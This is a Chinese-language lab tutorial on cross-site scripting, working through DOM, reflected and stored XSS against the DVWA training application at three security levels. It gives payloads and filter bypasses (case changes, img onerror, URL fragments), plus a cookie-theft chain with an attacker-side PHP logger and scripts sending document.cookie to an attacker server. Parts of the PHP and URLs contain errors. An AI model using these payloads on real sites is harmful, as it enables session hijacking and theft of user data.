XSS 攻击(跨站脚本攻击) 通常指的是利用网页开发时留下的洞,通过巧妙的方法注人恶意指令代码,使正常用户在访问网页时泄露敏感信息的攻击行为。这些恶意网页程序通常是Java-Script,但实际上也可以是 Java、VBScript、ActiveX、Flash,甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(例如执行一些操作)、私密网页内容、会话和Cookie 等各种内容。
按攻击代码的工作方式,XSS 可以分为三个类型:
将安全级别调整至Low 级别,打开“XSS (DOM型)”页面:
从源代码可以看出,这里 Low 级别的代码没有任何保护。
这时构造 URL;http;//192,168.217.130/dvwa/vulnerabilities/xss_d/? default =< script > alert('hack')</script>,按 Enter 键,执行成功。
<script>alert('hack')</script>是JavaScript 语句,作用是弹出一个“hack”弹框,也可以获得用户在网页上的信息,甚至密码等。
现实中,攻击者常常可以参照以下流程获得敏感信息首先,攻击者在自己的服务器上发布如下网页:
cookie.php
<?php
$cookie=$_get['$cookie'];
$file_put_contents('cookie.txt',$cookie);
?>
作用是将 get 请求参数存储到 cookie 变量中,并且把 cookie 写到 cookietxt 文件中,然后构造一段 JavaScript 攻击脚本,比如:
<script>document.location='http://攻击者服务器地址/cookie.php/cookie='+document.cookie;
</script>
//document.location 将页面的内容传向指定位置
最后寻找一些能进行 XSS 基本注人的网站,或把脚本上传到网站 (存储型),或直接构造URL如下:
http://192,168.217.130/dvwa/vulnerabilities/xss_d/default=<script>document.location
='http://127.0.0.1/cookie.php/cookie ='+document.cookie:</script ># //要对参数进行 URL
发送给受害者,当受害者访问链接时,就会把受害者访问时的 cookie 信息发送给攻击者服务器,并记录在 cookie.txt 文件中。
将安全级别调整至 Medium 级别,打开“XSS(DOM型)”页面:
可以看到,Medium级别的代码先检查了 default 参数是否为空,如果不为空,则使用 stripos 函数检测 default值中是否有“<script”,如果有,则将 default 设置为 English,从而避免XSS弹框出现。
构造 URL:
http://192.168.217.130/dywa/vulnerabilities/xss_d/?default= English </option >
</select > <img src ="1" onerror ="alert(' hack ')">
按 Enter 键,执行成功。
构造的 URL首先闭合 English 前面的<option >、<select >标签;其次利用img标签的onerror 事件(和<script>类似),在加载图像的过程中,如果发生错误,会触发脚本:最后执行脚本,弹出信息。
将安全级别调整至 High 级别,打开“XSS (DOM型)”页面。
从代码中可以看出,后台代码白名单只允许 default 值为 French、English、German、Spanish中的一个。
构造 URL: http://192.168.217.130/dvwa/vulnerabilities/xss_d/?default=English# <script>alert('hack')</script>,按 Enter 键,执行成功。
构造的URL为了绕过白名单过滤,采用了#符号,其注释部分的 JavaScript 代码不让进行后台验证。
将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:
代码并没有对XSS 攻击进行任何限制,试着输入“<script >alert('hacker')</script>”单击“提交”按钮。
将安全级别调整至 Medium 级别,打开“XSS (反射型)”页面:
Medium级别只是将<script>标记替换为空,这时使用“<SCRIPT >alert('hacker ')</SCRIPT>”大写绕过,单击“提交”按钮:
将安全级别调整至 High 级别,打开“XSS (反射型)”页面:
可以看到,High 级别的代码使用了正则表达式,直接把“<*s*c*r*i*p*t”给过滤了,*代表一个或多个任意字符,i代表不区分大小写。这时使用<script>标记已经没有作用了。在上一案例中接触到img标签的 onerror 事件,其也能触发脚本,于是构造“<img src= # onerror=alert('hacker')>”,单击“提交”按钮。
存储型XSS 是将 Script 语句上传并存储在一个网站上,受害者访问这个网站时,存储的脚本被激活,受害者的敏感信息则被发送到攻击者的服务器上。将安全级别调整至 Low 级别,打开“XSS (反射型)”页面:
代码中的 PHP函数如下:
从代码上看,此处只是对输入的 name、message 做了防止 SQL 注入的过滤,并没有对XSS攻击进行安全性的过滤和处理。
试着在留言里写人“<script >alert("harker")</script>”,单击“提交留言”按钮这时每次刷新页面都会出现弹框。也就是说,XSS 语句已经写进了网站的后台数据库。
把 XSS 语句修改为<script > document. location ='http://攻击者网站地址/acceptcookie.php?cookie='+document.cookie;</script>,并提交到网站中,这样,当正常用户访问该网站时,就会把自己当前的 cookie 信息发送到攻击者服务器上了。
将安全级别调整至Medium级别,打开“XSS (反射型)”页面:
代码中的PHP函数如下:
与Low 级别相比,可以看出对 message 的值进行了标签的过滤及预定义字符的转义,对name 的值只进行了标签的过滤。显然,对于message,已经很难写入“<script>”这样的标记语句了,但对name字段,虽然过滤了“<script>”,但可以大小写绕过。试着在名字文本框里写人“<Script>alert("harker")</Script>”,同时在网页前台代码中修改 name字段大小的限制。单击“提交留言”按钮。查看后台数据库。
将安全级别调整至 High 级别,打开“XSS (反射型)”页面:
与Medium 级别相比,High 级别显然对 name的值进行了更严格的限制,不能用类似的大小写绕过的方法。
通过前面任务的学习,可知 name 的值可构造如下:
<img src = 1 onerror = alert( " hacker" )>
在前台代码中,修改 name 字段大小的限制,单击“提交留言”按,查看后台数据库。
阅读量:2024
点赞量:0
收藏量:0